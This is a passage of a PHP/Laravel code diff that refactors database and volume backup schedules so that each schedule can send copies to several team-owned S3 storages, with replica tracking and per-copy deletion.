try { $this->authorize('view', $this->backup->database); + $this->availableS3Storages = S3Storage::query() + ->whereKey($this->availableS3StorageIds()->all()) + ->orderBy('name') + ->get(); $this->parameters = get_route_parameters(); $this->syncData(); $this->refreshStatus(); @@ -148,7 +154,6 @@ class BackupEdit extends Component $this->backup->database_backup_retention_max_storage_s3 = $this->databaseBackupRetentionMaxStorageS3; $this->backup->save_s3 = $this->saveS3; $this->backup->disable_local_backup = $this->disableLocalBackup; - $this->backup->s3_storage_id = $this->s3StorageId; // Validate databases_to_backup to prevent command injection // Handles all formats including MongoDB's "db:col1,col2|db2:col3" @@ -160,10 +165,16 @@ class BackupEdit extends Component $this->backup->dump_all = $this->dumpAll; $this->backup->timeout = $this->timeout; $this->backup->missing_backup_notification_days = $this->missingBackupNotificationDays; - $this->customValidate(); + $storageIds = $this->customValidate(); $changedFields = auditChangedFields($this->backup); $this->backup->save(); + $previousStorageIds = $this->backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all(); + $this->backup->syncS3Storages($storageIds->all()); + if ($previousStorageIds !== $storageIds->sort()->values()->all()) { + $changedFields[] = 's3_storages'; + } + return $changedFields; } else { $this->backupEnabled = $this->backup->enabled; @@ -177,7 +188,8 @@ class BackupEdit extends Component $this->databaseBackupRetentionMaxStorageS3 = $this->backup->database_backup_retention_max_storage_s3; $this->saveS3 = $this->backup->save_s3; $this->disableLocalBackup = $this->backup->disable_local_backup ?? false; - $this->s3StorageId = $this->backup->s3_storage_id ?? $this->availableS3StorageIds()->first(); + $selectedIds = $this->backup->selectedS3Storages()->pluck('id'); + $this->s3StorageIds = ($selectedIds->isNotEmpty() ? $selectedIds : $this->availableS3StorageIds()->take(1))->all(); $this->databasesToBackup = $this->backup->databases_to_backup; $this->dumpAll = $this->backup->dump_all; $this->timeout = $this->backup->timeout; @@ -216,10 +228,10 @@ class BackupEdit extends Component if ($this->delete_associated_backups_locally && $server) { deleteBackupsLocally($filenames, $server); } + } - if ($this->delete_associated_backups_s3 && $this->backup->s3) { - deleteBackupsS3($filenames, $this->backup->s3); - } + if ($this->delete_associated_backups_s3) { + $this->backup->executions()->each(fn ($execution) => $execution->deleteS3Copies()); } $backupUuid = $this->backup->uuid; @@ -333,14 +345,14 @@ class BackupEdit extends Component } } - public function updatedS3StorageId(): void + public function updatedS3StorageIds(): void { $this->instantSave(); } public function toggleS3(): void { - if (! $this->saveS3 && $this->availableS3StorageIds()->isEmpty()) { + if (! $this->saveS3 && $this->selectedAvailableS3StorageIds()->isEmpty()) { $this->dispatch('error', 'Select a usable S3 storage before enabling S3 backups.'); return; @@ -351,21 +363,22 @@ class BackupEdit extends Component $this->instantSave(); } - private function customValidate() + /** + * @return Collection The usable S3 storage IDs to keep as destinations. + */ + private function customValidate(): Collection { - if (! is_numeric($this->backup->s3_storage_id)) { - $this->backup->s3_storage_id = null; - } + // Only usable S3 storages of the database's team can be destinations; others are dropped. + $storageIds = $this->selectedAvailableS3StorageIds(); + $this->s3StorageIds = $storageIds->all(); - // S3 backup cannot be enabled without a valid S3 storage owned by the team - $availableS3Ids = $this->availableS3StorageIds(); - if ($availableS3Ids->isEmpty()) { - $this->backup->s3_storage_id = $this->s3StorageId = null; - if ($this->backup->save_s3) { - $this->backup->save_s3 = $this->saveS3 = false; - } - } elseif (! $availableS3Ids->contains($this->backup->s3_storage_id)) { - $this->backup->s3_storage_id = $this->s3StorageId = $availableS3Ids->first(); + if ($this->availableS3StorageIds()->isEmpty()) { + $this->backup->save_s3 = $this->saveS3 = false; + } elseif ($this->backup->save_s3 && $storageIds->isEmpty()) { + $message = 'Select at least one usable S3 storage.'; + $this->addError('s3StorageIds', $message); + + throw new Exception($message); } // Validate that disable_local_backup can only be true when S3 backup is enabled @@ -378,6 +391,8 @@ class BackupEdit extends Component throw new Exception('Invalid Cron / Human expression'); } $this->validate(); + + return $storageIds; } /** @@ -399,6 +414,20 @@ class BackupEdit extends Component ]); } + /** + * @return Collection + */ + private function selectedAvailableS3StorageIds(): Collection + { + $availableIds = $this->availableS3StorageIds(); + + return collect($this->s3StorageIds) + ->map(fn ($id): int => (int) $id) + ->filter(fn (int $id): bool => $availableIds->contains($id)) + ->unique() + ->values(); + } + private function availableS3StorageIds(): Collection { $database = $this->backup->database; @@ -409,9 +438,12 @@ class BackupEdit extends Component return collect(); } + // Current destinations stay selectable while unusable, so saving other settings does not remove them. + $selectedIds = $this->backup->selectedS3Storages()->pluck('id')->all(); + return S3Storage::query() ->where('team_id', $teamId) - ->where('is_usable', true) + ->where(fn (Builder $query) => $query->where('is_usable', true)->orWhereIn('id', $selectedIds)) ->pluck('id'); } @@ -432,7 +464,7 @@ class BackupEdit extends Component return view('livewire.project.database.backup-edit', [ 'checkboxes' => [ ['id' => 'delete_associated_backups_locally', 'label' => __('database.delete_backups_locally')], - ['id' => 'delete_associated_backups_s3', 'label' => 'All backups will be permanently deleted (associated with this backup job) from the selected S3 Storage.'], + ['id' => 'delete_associated_backups_s3', 'label' => 'All backups will be permanently deleted (associated with this backup job) from every S3 storage of this schedule.'], // ['id' => 'delete_associated_backups_sftp', 'label' => 'All backups associated with this backup job from this database will be permanently deleted from the selected SFTP Storage.'] ], ]); diff --git a/app/Livewire/Project/Database/BackupExecutions.php b/app/Livewire/Project/Database/BackupExecutions.php index 6f17e2fcf5..f9d4658688 100644 --- a/app/Livewire/Project/Database/BackupExecutions.php +++ b/app/Livewire/Project/Database/BackupExecutions.php @@ -109,12 +109,8 @@ class BackupExecutions extends Component deleteBackupsLocally($execution->filename, $server, throwError: true); } - if ($deleteFromS3 && $execution->s3_uploaded && ! $execution->s3_storage_deleted) { - if (! $execution->scheduledDatabaseBackup->s3) { - throw new \RuntimeException('The S3 storage is unavailable.'); - } - - deleteBackupsS3($execution->filename, $execution->scheduledDatabaseBackup->s3); + if ($deleteFromS3) { + $execution->deleteS3Copies(); } $execution->delete(); diff --git a/app/Livewire/Project/Database/ScheduledBackups.php b/app/Livewire/Project/Database/ScheduledBackups.php index ece99b45f4..2071337b4b 100644 --- a/app/Livewire/Project/Database/ScheduledBackups.php +++ b/app/Livewire/Project/Database/ScheduledBackups.php @@ -73,7 +73,7 @@ class ScheduledBackups extends Component public function render(): View { - $this->database->loadMissing('scheduledBackups.s3'); + $this->database->loadMissing(['scheduledBackups.s3', 'scheduledBackups.s3Storages']); return view('livewire.project.database.scheduled-backups'); } diff --git a/app/Livewire/Project/Service/BackupExecutions.php b/app/Livewire/Project/Service/BackupExecutions.php index 81be0ff8ad..b319f66412 100644 --- a/app/Livewire/Project/Service/BackupExecutions.php +++ b/app/Livewire/Project/Service/BackupExecutions.php @@ -114,7 +114,7 @@ class BackupExecutions extends Component private function formatExecutions(Collection $rows): Collection { $databaseExecutions = ScheduledDatabaseBackupExecution::query() - ->with(['scheduledDatabaseBackup.database', 'scheduledDatabaseBackup.s3']) + ->with(['scheduledDatabaseBackup.database', 'scheduledDatabaseBackup.s3', 'scheduledDatabaseBackup.s3Storages']) ->whereIn('id', $rows->where('type', 'database')->pluck('id')) ->get()->keyBy('id'); $volumeExecutions = ScheduledVolumeBackupExecution::query() @@ -128,11 +128,16 @@ class BackupExecutions extends Component $isDatabase = $row->type === 'database'; $execution = $isDatabase ? $databaseExecutions->get($row->id) : $volumeExecutions->get($row->id); $schedule = $isDatabase ? $execution->scheduledDatabaseBackup : $execution->scheduledVolumeBackup; - $storage = $isDatabase ? ($schedule->save_s3 ? $schedule->s3 : null) : $execution->s3; - if ($storage?->team_id !== $serviceTeamId) { - $storage = null; - } - $storageLabel = $storage ? $storage->name.' (bucket: '.$storage->bucket.')' : 'Unavailable'; + $storages = match (true) { + ! $isDatabase => collect([$execution->s3]), + ! $schedule->save_s3 => collect(), + $schedule->s3Storages->isNotEmpty() => $schedule->s3Storages, + default => collect([$schedule->s3]), + }; + $storageLabel = $storages + ->filter(fn ($storage) => $storage?->team_id === $serviceTeamId) + ->map(fn ($storage) => $storage->name.' (bucket: '.$storage->bucket.')') + ->implode(', ') ?: 'Unavailable'; if ($isDatabase && ! $schedule->save_s3) { $storageLabel = 'Not configured'; } elseif (! $isDatabase && ! $execution->s3_storage_id && ! $execution->s3_uploaded && ! $execution->s3_storage_deleted) { diff --git a/app/Livewire/Project/Service/VolumeBackup/Index.php b/app/Livewire/Project/Service/VolumeBackup/Index.php index 60a78e5c15..64dbbb8df2 100644 --- a/app/Livewire/Project/Service/VolumeBackup/Index.php +++ b/app/Livewire/Project/Service/VolumeBackup/Index.php @@ -118,7 +118,7 @@ class Index extends Component ); $databaseBackups = ScheduledDatabaseBackup::query() - ->with(['database', 'latest_log', 's3']) + ->with(['database', 'latest_log', 's3', 's3Storages']) ->withCount('executions') ->where('database_type', (new ServiceDatabase)->getMorphClass()) ->whereHasMorph('database', [ServiceDatabase::class], fn ($query) => $query->where('service_id', $this->service->id)) @@ -126,7 +126,7 @@ class Index extends Component ->get(); $backups = ScheduledVolumeBackup::query() - ->with(['backupable.resource', 'latestExecution', 's3']) + ->with(['backupable.resource', 'latestExecution', 's3', 's3Storages']) ->withCount('executions') ->forService($this->service) ->latest() diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 2b6f5b4587..a459b988e0 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -232,6 +232,7 @@ class ResourceOperations extends Component 'team_id' => $this->resourceTeamId(), ]); $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } $environmentVaribles = $this->resource->environment_variables()->get(); diff --git a/app/Livewire/Project/Shared/Storages/VolumeBackups.php b/app/Livewire/Project/Shared/Storages/VolumeBackups.php index d741bcc0e4..083585fee6 100644 --- a/app/Livewire/Project/Shared/Storages/VolumeBackups.php +++ b/app/Livewire/Project/Shared/Storages/VolumeBackups.php @@ -11,6 +11,7 @@ use App\Models\LocalPersistentVolume; use App\Models\S3Storage; use App\Models\ScheduledVolumeBackup; use App\Models\Service; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Http\RedirectResponse; use Illuminate\Routing\Redirector; @@ -43,7 +44,8 @@ class VolumeBackups extends Component public bool $stopDuringBackup = false; - public ?int $s3StorageId = null; + /** @var array */ + public array $s3StorageIds = []; public int $retentionAmountLocally = 7; @@ -88,7 +90,7 @@ class VolumeBackups extends Component 'saveToS3' => ['required', 'boolean'], 'disableLocalBackup' => ['required', 'boolean'], 'stopDuringBackup' => ['required', 'boolean'], - 's3StorageId' => ['nullable', 'integer'], + 's3StorageIds' => ['array'], 'retentionAmountLocally' => ['required', 'integer', 'min:0', 'max:10000'], 'retentionDaysLocally' => ['required', 'integer', 'min:0'], 'retentionMaxStorageLocally' => ['required', 'numeric', 'min:0'], @@ -103,12 +105,8 @@ class VolumeBackups extends Component public function mount(): void { $this->authorize('view', $this->resource); - $this->availableS3Storages = S3Storage::query() - ->where('team_id', $this->resourceTeamId()) - ->where('is_usable', true) - ->orderBy('name') - ->get(); $this->backup = $this->storage->scheduledBackups()->first(); + $this->availableS3Storages = $this->selectableS3Storages()->orderBy('name')->get(); $server = $this->backup?->server() ?? data_get($this->resource, 'destination.server'); $this->timezone = data_get($server, 'settings.server_timezone', 'Instance timezone'); @@ -118,7 +116,8 @@ class VolumeBackups extends Component $this->saveToS3 = $this->backup->save_s3; $this->disableLocalBackup = $this->backup->disable_local_backup; $this->stopDuringBackup = $this->backup->stop_during_backup; - $this->s3StorageId = $this->backup->s3_storage_id ?? $this->availableS3Storages->first()?->id; + $selectedIds = $this->backup->selectedS3Storages()->pluck('id'); + $this->s3StorageIds = ($selectedIds->isNotEmpty() ? $selectedIds : $this->availableS3Storages->take(1)->pluck('id'))->all(); $this->retentionAmountLocally = $this->backup->retention_amount_locally; $this->retentionDaysLocally = $this->backup->retention_days_locally; $this->retentionMaxStorageLocally = $this->backup->retention_max_storage_locally; @@ -128,7 +127,7 @@ class VolumeBackups extends Component $this->timeout = $this->backup->timeout; $this->missingBackupNotificationDays = $this->backup->missing_backup_notification_days; } else { - $this->s3StorageId = $this->availableS3Storages->first()?->id; + $this->s3StorageIds = $this->availableS3Storages->take(1)->pluck('id')->all(); } } @@ -149,30 +148,24 @@ class VolumeBackups extends Component $this->save(); } - public function updatedS3StorageId(): void + public function updatedS3StorageIds(): void { $this->authorize('update', $this->resource); - if (! $this->hasValidS3Storage()) { - $this->addError('s3StorageId', 'Select a usable S3 storage owned by your team.'); - - return; - } - - $this->resetErrorBag('s3StorageId'); if (! $this->validateSettings()) { return; } + $this->resetErrorBag('s3StorageIds'); $this->backup = $this->persistBackup($this->enabled); - $this->dispatch('success', 'S3 storage updated.'); + $this->dispatch('success', 'S3 storages updated.'); } public function toggleS3(): void { $this->authorize('update', $this->resource); - if (! $this->saveToS3 && ! $this->hasValidS3Storage()) { + if (! $this->saveToS3 && $this->selectedS3StorageIds()->isEmpty()) { $this->dispatch('error', 'Select a usable S3 storage before enabling S3 backups.'); return; @@ -302,6 +295,7 @@ class VolumeBackups extends Component ->where('s3_storage_deleted', true) ->orWhereNull('s3_uploaded') ->orWhere('s3_uploaded', false)) + ->withoutLiveS3Copies() ->delete() ?? 0; $this->dispatch( @@ -366,12 +360,8 @@ class VolumeBackups extends Component deleteBackupsLocally($execution->filename, $server, throwError: true); } - if ($this->delete_backup_s3 && $execution->s3_uploaded && ! $execution->s3_storage_deleted) { - if (! $execution->s3) { - throw new \RuntimeException('The S3 storage is unavailable.'); - } - - deleteBackupsS3($execution->filename, $execution->s3); + if ($this->delete_backup_s3) { + $execution->deleteS3Copies(); } $execution->delete(); @@ -388,7 +378,7 @@ class VolumeBackups extends Component public function render() { - $executions = $this->backup?->executions()->paginate($this->perPage); + $executions = $this->backup?->executions()->with('s3Replicas.s3')->paginate($this->perPage); return view('livewire.project.shared.storages.volume-backups', [ 'executions' => $executions ?? collect(), @@ -410,8 +400,8 @@ class VolumeBackups extends Component return false; } - if ($this->saveToS3 && ! $this->hasValidS3Storage()) { - $this->addError('s3StorageId', 'Select a usable S3 storage owned by your team.'); + if ($this->saveToS3 && $this->selectedS3StorageIds()->isEmpty()) { + $this->addError('s3StorageIds', 'Select at least one usable S3 storage owned by your team.'); return false; } @@ -431,7 +421,6 @@ class VolumeBackups extends Component 'save_s3' => $this->saveToS3, 'disable_local_backup' => $this->disableLocalBackup, 'stop_during_backup' => $this->stopDuringBackup, - 's3_storage_id' => $this->hasValidS3Storage() ? $this->s3StorageId : $this->backup?->s3_storage_id, 'retention_amount_locally' => $this->retentionAmountLocally, 'retention_days_locally' => $this->retentionDaysLocally, 'retention_max_storage_locally' => $this->retentionMaxStorageLocally, @@ -443,6 +432,15 @@ class VolumeBackups extends Component ]); $changedFields = auditChangedFields($backup); $backup->save(); + + $storageIds = $this->selectedS3StorageIds(); + $previousStorageIds = $backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all(); + $backup->syncS3Storages($storageIds->all()); + $this->s3StorageIds = $storageIds->all(); + if (! $backup->wasRecentlyCreated && $previousStorageIds !== $storageIds->sort()->values()->all()) { + $changedFields[] = 's3_storages'; + } + $this->auditScheduleSet($backup, $changedFields); return $backup; @@ -485,14 +483,33 @@ class VolumeBackups extends Component ]; } - private function hasValidS3Storage(): bool + /** + * The submitted destinations that are selectable S3 storages of the resource's team. Others are dropped. + * + * @return Collection + */ + private function selectedS3StorageIds(): Collection { - return $this->s3StorageId !== null - && S3Storage::query() - ->whereKey($this->s3StorageId) - ->where('team_id', $this->resourceTeamId()) - ->where('is_usable', true) - ->exists(); + $submittedIds = collect($this->s3StorageIds)->map(fn ($id): int => (int) $id)->filter()->unique(); + + return $this->selectableS3Storages() + ->whereKey($submittedIds->all()) + ->pluck('id') + ->sortBy(fn (int $id): int|false => $submittedIds->search($id)) + ->values(); + } + + /** + * Usable storages of the resource's team, plus the current destinations. A destination that is unusable for a + * while stays selected, so saving other settings does not remove it. + */ + private function selectableS3Storages(): Builder + { + $selectedIds = $this->backup?->selectedS3Storages()->pluck('id')->all() ?? []; + + return S3Storage::query() + ->where('team_id', $this->resourceTeamId()) + ->where(fn (Builder $query) => $query->where('is_usable', true)->orWhereIn('id', $selectedIds)); } private function resourceTeamId(): int diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index 95e7917515..306a6a4a5f 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -9,6 +9,7 @@ use App\Models\ScheduledVolumeBackup; use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -26,7 +27,7 @@ class Resources extends Component { $this->authorize('view', $this->storage); - $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + $backups = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) ->where('save_s3', true) ->get(); @@ -34,8 +35,7 @@ class Resources extends Component $this->selectedStorages[$backup->id] = $this->storage->id; } - ScheduledVolumeBackup::query() - ->where('s3_storage_id', $this->storage->id) + $this->backupsUsingStorage(ScheduledVolumeBackup::query()) ->where('save_s3', true) ->each(function (ScheduledVolumeBackup $backup): void { $this->selectedVolumeStorages[$backup->id] = $this->storage->id; @@ -46,29 +46,26 @@ class Resources extends Component { $this->authorize('update', $this->storage); - $backup = ScheduledDatabaseBackup::where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) + ->whereKey($backupId) ->firstOrFail(); - $backup->fill([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, null); $this->auditDatabaseBackupUpdated($backup, $changedFields); unset($this->selectedStorages[$backupId]); - $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + $this->dispatch('success', 'Storage removed.', $backup->save_s3 + ? 'This storage was removed from the schedule destinations.' + : 'S3 backup has been disabled for this schedule.'); } public function moveBackup(int $backupId): void { $this->authorize('update', $this->storage); - $backup = ScheduledDatabaseBackup::where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) + ->whereKey($backupId) ->firstOrFail(); $newStorageId = $this->selectedStorages[$backupId] ?? null; @@ -90,9 +87,7 @@ class Resources extends Component $this->authorize('update', $newStorage); - $backup->s3_storage_id = $newStorage->id; - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, $newStorage->id); $this->auditDatabaseBackupUpdated($backup, $changedFields); unset($this->selectedStorages[$backupId]); @@ -104,31 +99,26 @@ class Resources extends Component { $this->authorize('update', $this->storage); - $backup = ScheduledVolumeBackup::query() - ->where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledVolumeBackup::query()) + ->whereKey($backupId) ->firstOrFail(); - $backup->fill([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, null); $this->auditVolumeBackupUpdated($backup, $changedFields); unset($this->selectedVolumeStorages[$backupId]); - $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + $this->dispatch('success', 'Storage removed.', $backup->save_s3 + ? 'This storage was removed from the schedule destinations.' + : 'S3 backup has been disabled for this schedule.'); } public function moveVolumeBackup(int $backupId): void { $this->authorize('update', $this->storage); - $backup = ScheduledVolumeBackup::query() - ->where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledVolumeBackup::query()) + ->whereKey($backupId) ->firstOrFail(); $newStorageId = $this->selectedVolumeStorages[$backupId] ?? null; @@ -151,9 +141,7 @@ class Resources extends Component $this->authorize('update', $newStorage); - $backup->s3_storage_id = $newStorage->id; - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, $newStorage->id); $this->auditVolumeBackupUpdated($backup, $changedFields); unset($this->selectedVolumeStorages[$backupId]); @@ -161,6 +149,49 @@ class Resources extends Component $this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}."); } + /** + * Schedules that have this storage among their destinations. + * + * @template TModel of ScheduledDatabaseBackup|ScheduledVolumeBackup + * + * @param Builder $query + * @return Builder + */ + private function backupsUsingStorage(Builder $query): Builder + { + return $query->usingS3Storage($this->storage->id); + } + + /** + * Replaces this storage in the destinations of a schedule, or removes it when no replacement is given. S3 backups + * turn off when no destination remains. + * + * @return array Names of the changed backup fields. + */ + private function replaceStorage(ScheduledDatabaseBackup|ScheduledVolumeBackup $backup, ?int $newStorageId): array + { + $storageIds = $backup->selectedS3Storages() + ->pluck('id') + ->map(fn (int $id): ?int => $id === $this->storage->id ? $newStorageId : $id) + ->filter() + ->unique() + ->values(); + $previousPrimaryId = $backup->s3_storage_id; + + $backup->syncS3Storages($storageIds->all()); + + $changedFields = ['s3_storages']; + if ($backup->s3_storage_id !== $previousPrimaryId) { + $changedFields[] = 's3_storage_id'; + } + if ($storageIds->isEmpty() && $backup->save_s3) { + $backup->update(['save_s3' => false]); + $changedFields[] = 'save_s3'; + } + + return $changedFields; + } + /** * @param array $changedFields */ @@ -211,7 +242,7 @@ class Resources extends Component public function render() { - $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + $backups = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) ->where('save_s3', true) ->with('database') ->get() @@ -221,8 +252,7 @@ class Resources extends Component ->orderBy('name') ->get(['id', 'name', 'is_usable']); - $volumeBackups = ScheduledVolumeBackup::query() - ->where('s3_storage_id', $this->storage->id) + $volumeBackups = $this->backupsUsingStorage(ScheduledVolumeBackup::query()) ->where('save_s3', true) ->with('backupable.resource') ->get(); diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php index 17abd19e51..b7ddfcf5e2 100644 --- a/app/Livewire/Storage/Show.php +++ b/app/Livewire/Storage/Show.php @@ -32,8 +32,10 @@ class Show extends Component return $this->redirectRoute('storage.index', navigate: true); } $this->currentRoute = request()->route()->getName(); - $this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count() - + ScheduledVolumeBackup::where('s3_storage_id', $this->storage->id)->count(); + $this->backupCount = collect([ScheduledDatabaseBackup::class, ScheduledVolumeBackup::class]) + ->sum(fn (string $backupModel): int => $backupModel::query() + ->usingS3Storage($this->storage->id) + ->count()); } public function delete() diff --git a/app/Mcp/Tools/ListDatabaseBackups.php b/app/Mcp/Tools/ListDatabaseBackups.php index 7c65130935..92bee0da01 100644 --- a/app/Mcp/Tools/ListDatabaseBackups.php +++ b/app/Mcp/Tools/ListDatabaseBackups.php @@ -43,6 +43,7 @@ class ListDatabaseBackups extends Tool $backups = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId) ->where('database_id', $database->id) ->where('database_type', $database->getMorphClass()) + ->with(['s3', 's3Storages']) ->get() ->map(fn ($backup) => $this->scrubSensitive([ 'uuid' => $backup->uuid, @@ -51,6 +52,7 @@ class ListDatabaseBackups extends Tool 'database_backup_retention_amount_locally' => $backup->database_backup_retention_amount_locally ?? null, 'save_s3' => $backup->save_s3 ?? null, 's3_storage_uuid' => $backup->s3?->uuid ?? null, + 's3_storage_uuids' => $backup->selectedS3Storages()->pluck('uuid')->all(), 'created_at' => $backup->created_at, 'updated_at' => $backup->updated_at, ])) diff --git a/app/Models/DatabaseBackupS3Replica.php b/app/Models/DatabaseBackupS3Replica.php new file mode 100644 index 0000000000..1dee319c2b --- /dev/null +++ b/app/Models/DatabaseBackupS3Replica.php @@ -0,0 +1,38 @@ + 'boolean', + 's3_storage_deleted' => 'boolean', + ]; + } + + public function execution(): BelongsTo + { + return $this->belongsTo(ScheduledDatabaseBackupExecution::class, 'execution_id'); + } + + public function s3(): BelongsTo + { + return $this->belongsTo(S3Storage::class, 's3_storage_id'); + } +} diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 3c0d9e7e95..3ee7d5f269 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -6,10 +6,12 @@ use App\Rules\SafeWebhookUrl; use App\Rules\ValidS3BucketName; use App\Traits\Auditable; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Filesystem\FilesystemAdapter; use Illuminate\Notifications\Messages\MailMessage; +use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Validator; @@ -67,19 +69,48 @@ class S3Storage extends BaseModel }); static::deleting(function (S3Storage $storage) { - ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); - ScheduledVolumeBackupExecution::where('s3_storage_id', $storage->id) - ->update([ - 's3_storage_deleted' => true, - 's3_cleanup_pending' => false, - ]); - ScheduledVolumeBackup::where('s3_storage_id', $storage->id)->update([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); + $storage->detachFromBackups(); + }); + } + + /** + * Removes this storage from every backup schedule and marks the copies in it as deleted. A schedule moves its + * primary destination to a remaining storage, or stops S3 backups when none remains. + */ + public function detachFromBackups(): void + { + DB::transaction(function (): void { + foreach ([ScheduledDatabaseBackup::class, ScheduledVolumeBackup::class] as $backupModel) { + $backupModel::query() + ->usingS3Storage($this->id) + ->lazyById() + ->each(function (ScheduledDatabaseBackup|ScheduledVolumeBackup $backup): void { + $backup->syncS3Storages($backup->s3Storages()->whereKeyNot($this->id)->pluck('s3_storages.id')->all()); + if ($backup->s3_storage_id === null && $backup->save_s3) { + $backup->update(['save_s3' => false]); + } + }); + } + + foreach ([DatabaseBackupS3Replica::class, VolumeBackupS3Replica::class] as $replicaModel) { + $replicaModel::query() + ->with('execution') + ->where('s3_storage_id', $this->id) + ->where('s3_storage_deleted', false) + ->lazyById() + ->each(function (DatabaseBackupS3Replica|VolumeBackupS3Replica $replica): void { + $replica->update(['s3_storage_deleted' => true]); + $replica->execution?->refreshS3Summary(); + }); + } + + ScheduledVolumeBackupExecution::query() + ->where('s3_cleanup_pending', true) + ->whereHas('s3Replicas', fn (Builder $query) => $query->where('s3_storage_id', $this->id)) + ->whereDoesntHave('s3Replicas', fn (Builder $query) => $query + ->where('s3_storage_deleted', false) + ->where(fn (Builder $query) => $query->whereNull('s3_uploaded')->orWhere('s3_uploaded', false))) + ->update(['s3_cleanup_pending' => false]); }); } diff --git a/app/Models/ScheduledDatabaseBackup.php b/app/Models/ScheduledDatabaseBackup.php index 53ae084349..3c31c0fbc7 100644 --- a/app/Models/ScheduledDatabaseBackup.php +++ b/app/Models/ScheduledDatabaseBackup.php @@ -2,12 +2,16 @@ namespace App\Models; +use App\Traits\HasS3Destinations; +use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Database\Eloquent\Relations\MorphTo; class ScheduledDatabaseBackup extends BaseModel { + use HasS3Destinations; + protected function casts(): array { return [ @@ -78,6 +82,11 @@ class ScheduledDatabaseBackup extends BaseModel return $this->belongsTo(S3Storage::class, 's3_storage_id'); } + public function s3Storages(): BelongsToMany + { + return $this->belongsToMany(S3Storage::class, 'scheduled_database_backup_s3_storage')->withTimestamps(); + } + public function get_last_days_backup_status($days = 7) { return $this->hasMany(ScheduledDatabaseBackupExecution::class)->where('created_at', '>=', now()->subDays($days))->get(); @@ -85,7 +94,7 @@ class ScheduledDatabaseBackup extends BaseModel public function executionsPaginated(int $skip = 0, int $take = 10) { - $executions = $this->hasMany(ScheduledDatabaseBackupExecution::class)->orderBy('created_at', 'desc'); + $executions = $this->hasMany(ScheduledDatabaseBackupExecution::class)->with('s3Replicas.s3')->orderBy('created_at', 'desc'); $count = $executions->count(); $executions = $executions->skip($skip)->take($take)->get(); diff --git a/app/Models/ScheduledDatabaseBackupExecution.php b/app/Models/ScheduledDatabaseBackupExecution.php index 1a479772cf..eb43a1a2e3 100644 --- a/app/Models/ScheduledDatabaseBackupExecution.php +++ b/app/Models/ScheduledDatabaseBackupExecution.php @@ -2,10 +2,14 @@ namespace App\Models; +use App\Traits\HasS3Replicas; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Database\Eloquent\Relations\HasMany; class ScheduledDatabaseBackupExecution extends BaseModel { + use HasS3Replicas; + protected static function booted(): void { static::created(function (ScheduledDatabaseBackupExecution $execution): void { @@ -42,4 +46,9 @@ class ScheduledDatabaseBackupExecution extends BaseModel { return $this->belongsTo(ScheduledDatabaseBackup::class); } + + public function s3Replicas(): HasMany + { + return $this->hasMany(DatabaseBackupS3Replica::class, 'execution_id'); + } } diff --git a/app/Models/ScheduledVolumeBackup.php b/app/Models/ScheduledVolumeBackup.php index 9ad676d953..0c4443b2e3 100644 --- a/app/Models/ScheduledVolumeBackup.php +++ b/app/Models/ScheduledVolumeBackup.php @@ -2,15 +2,19 @@ namespace App\Models; +use App\Traits\HasS3Destinations; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Database\Eloquent\Relations\MorphTo; class ScheduledVolumeBackup extends BaseModel { + use HasS3Destinations; + public const int 